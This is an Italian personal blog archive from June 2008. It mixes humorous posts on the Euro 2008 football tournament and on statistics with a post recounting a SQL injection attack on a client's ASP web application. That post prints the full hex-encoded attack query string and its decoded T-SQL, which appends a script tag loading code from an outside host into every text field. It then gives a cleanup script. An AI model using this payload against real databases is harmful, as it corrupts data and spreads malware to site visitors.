Archivio di giugno 2008

Rigorosamente italiani

| 23 giugno 2008 | 5 commenti » | sportivamente, velocemente

Europei 2008 UEFA

Non mi sembra affatto giusto screditare la Nazionale di calcio Italiana solo perchè siamo decorosamente usciti dopo centoventi minuti di spumeggiante gioco contro una staordinaria Spagna, che – tra l’altro – non ci ha mai minimamente impensieriti, ne durante il corso della partita, ne ovviamente dopo.

Facile, eh, dimenticare adesso le prodezze di coloro i quali hanno segnato tre gol in quattro partite: che poi, l’unico attaccante, non era nemmeno italiano!

Io, invece, ricorderò a lungo le prestazioni di Cannavaro e Materazzi: dello scorso Mondiale, però. Si, anche la compagna di Borriello, giusto.

 

Del più e del me

| 20 giugno 2008 | 5 commenti » | personalmente, tecnicamente

Tanto per non essere autoreferenziali, e per chi se le fosse perse, mi è gradita l’occasione di proporVi due interessanti citazioni del sottoscritto.

La prima, in ordine temporale, è ad opera di Matteo, ai più conosciuto come paz83, personaggio le cui disavventure quotidiane lo collocano a metà strada tra l’alcolista anonimo e il figlio di Muprhy (non Eddie, ben inteso, ma il più conosciuto Jonathan D. L., salito alla ribalta con il trattato: “Figa: concetto astratto o fantasiosa invenzione generata [da questo] acronimo?”).

Costui ha voluto analizzare, con piglio di ghezziana memoria, un post che risale ai primordi di codesto blog, e che al tempo consigliai solo ai colleghi d’ufficio, abituali frequentatori del locale in oggetto: tanto per metterli in guardia. Ad oggi, per inciso, la situazione è rimasta la medesima. Spero vogliate gradirne la visione.

La seconda, invece, è ad opera del pluriquotato Graziano, ai più conosciuto come Http500, già autore di numerosi concorsi che hanno telematicamente confermato cose che in realtà si sapevano benissimo!

E’ stata sempre sua, infatti, l’idea di confezionare una intervista trasversale a numerosi personaggi della blogosfera, alla quale ho partecipato molto volentieri: tuttavia, data la logorroicità dello scrivente, non è d’uopo rinnovare qui quanto invece troverete amabilmente riportato qui.

Di più, nìn sò.

Statisticamente

| 18 giugno 2008 | 20 commenti » | contestualmente

L’invenzione della statistica, converrete con me, è stata una tragedia.

In generale, questo continuo annotare qualsiasi valore che possa essere poi storicamente riconsiderato, è quanto di peggio la mente umana potesse partorire.

Vorrei ben vedere, dopo milioni e miliardi di registrazioni, come non si possa trovare – in qualche modo – una coincidenza che confermi qualche nostra impressione.

Metti la meteorologia: ah, la meteorologia, parola su cui hanno dibattuto per anni i più noti dizionaristi d’Italia, per sapere se quella “o” ci andava o meno…

Ed eccola qua, la notizia sconfortante: sembra siano venticinque anni che a Giugno non pioveva così tanto! Che al sentire tali impressionanti ragguagli, la mia mente è pervasa da numerose suggestioni, tutte – però – grossomodo riconducibili al concetto dello sticazzi.

Non che la cosa di per se non sia importante, percarità, santoddio: essersi privati di 45 millimetri d’acqua piovuta dal cielo, in questi ultimi venticinque anni, a Giugno, io mi chiedo come possiamo aver fatto a superarlo!

E’ che tutto andrebbe preso con le molle, perchè d’altronde è noto come l’interpretazione statistica del dato riservi sempre delle sorprese; come la storia del pollo a testa e delle sette donne per ogni uomo: tanto che 1) a me non piace granchè il pollo, l’ultimo – intero – l’avrò mangiato che avevo 6 anni e mi ci è voluto un trimestre, e 2) a mia memoria, sette donne con un uomo le ho viste solo su un porno con Ron Jeremy, e purtroppo tra me e lui c’è in comune solo una lettera del nome.

Infine, mi preme ricordare che le statistiche sanitarie dicono che un uomo su quattro soffre di qualche disturbo mentale: pensa ai tuoi tre migliori amici, se loro sono a posto, quello sei tu. (cit. Rita Mae Brown)

SQLInjecter… potessero bruciarvi tutti

| 16 giugno 2008 | 16 commenti » | tecnicamente

Difficilmente vedrete su questo blog altri post di questo genere: devo già combattere quotidianamente con gli assilli del lavoro che non mi sembra proprio il caso di continuare a parlarne qua.

Ma visto che ho dovuto perdere una sacrosanta mattina inseguendo Javascripts disseminati in un preziosissimo database di un cliente, mi sembra pur giusto alleviare il dolore di chi si troverà (prima o poi) nelle mie stesse condizioni. Se non altro, vi offro una soluzione che io non ho trovato, e che quindi sarà d’aiuto per il prossimo. Quanto sono samaritano.

Nella pratica, una nostra applicazione web (fatta un po’ a membro di segugio, per la verità, ma sufficientemente vetusta da esserle di giustificazione), è stata oggetto delle attenzioni di smidollati extraeuropei (molto extra, dannatamente extra) che hanno tentato di iniettare un po’ di loro sterco nei nostri pulitissimi sistemi. Morale: ci son riusciti.

L’approccio è veramente pietoso in termini di copertura: aggredire un server che hosta applicativi .ASP con dei GET in chiaro, sul QueryString, non so… ma il mio vicino di scrivania che fa il grafico e non sa nulla di nulla di queste cose avrebbe saputo far di meglio. Infatti non dovrebbe essere stato lui.

Ed ecco il querystring incriminato:

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C4152452040542056415
24348415228323535292C404320564152434841522832353529204445434C415245205461626
C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E6
16D652046524F4D207379736F626A6563747320612C737973636F6C756D6E732062205748455
24520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747
970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F522
0622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204
E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4
528404046455443485F5354415455533D302920424547494E204558454328275550444154452
05B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E564552542856
4152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D
687474703A2F2F7777772E6164736974656C6F2E636F6D2F622E6A733E3C2F7363726970743
E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E54
4F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4
3415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

Davvero simpatico, il pischello che l’ha ideato. Non aveva niente di meglio da fare che ragionare una genialata del genere. Ok, non ci vuol molto a decifrare quel papocchio di stringa, dalla quale fuoriescono limpide come l’acqua di sorgente le seguenti poche righe in perfetto SQLlese…

DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.adsitelo.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Grande figlio di una beata signora: mi scandisci tutte le tabelle e tutti i campi testo del mio prezioso database, quindi lanci un UPDATE a manetta, troncandomi a 4000 caratteri tutti i contenuti e aggiungi in coda le tue cagate… Capisci che il meno che posso augurarti è che alla pressione dell’ultimo tasto Enter ti colga una tendinite permanente?

E comunque, per quei poveri disgraziati caduti nella trappola dei signori adsitelo.com, advabnr.com e bigadnet.com, ecco uno script riparatore che, se non altro, vi eviterà di ripassarvi a mano tutte le tabelle e i campi nel tentativo di ripristinare la situazione preesistente. (Già, perché ovviamente per la legge di Muprhy le disgrazie non capitano mai sole, e l’ultimo backup era corrotto…)

DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ''<script src=http://www.adsitelo.com/b.js></script>'', '''')')
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ''<script src=http://www.advabnr.com/b.js></script>'', '''')')
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ''<script src=http://www.bigadnet.com/b.js></script>'', '''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Un ringraziamento ad Rey per avermi assistito nel riscontro del guaio. E un sentito ringraziamento anche a chi aveva fatto l’applicazione, così robusta e impeccabile. Sgrunt.

P.S.: Una cronistoria della battaglia la trovate anche qua, grazie al collega Azael!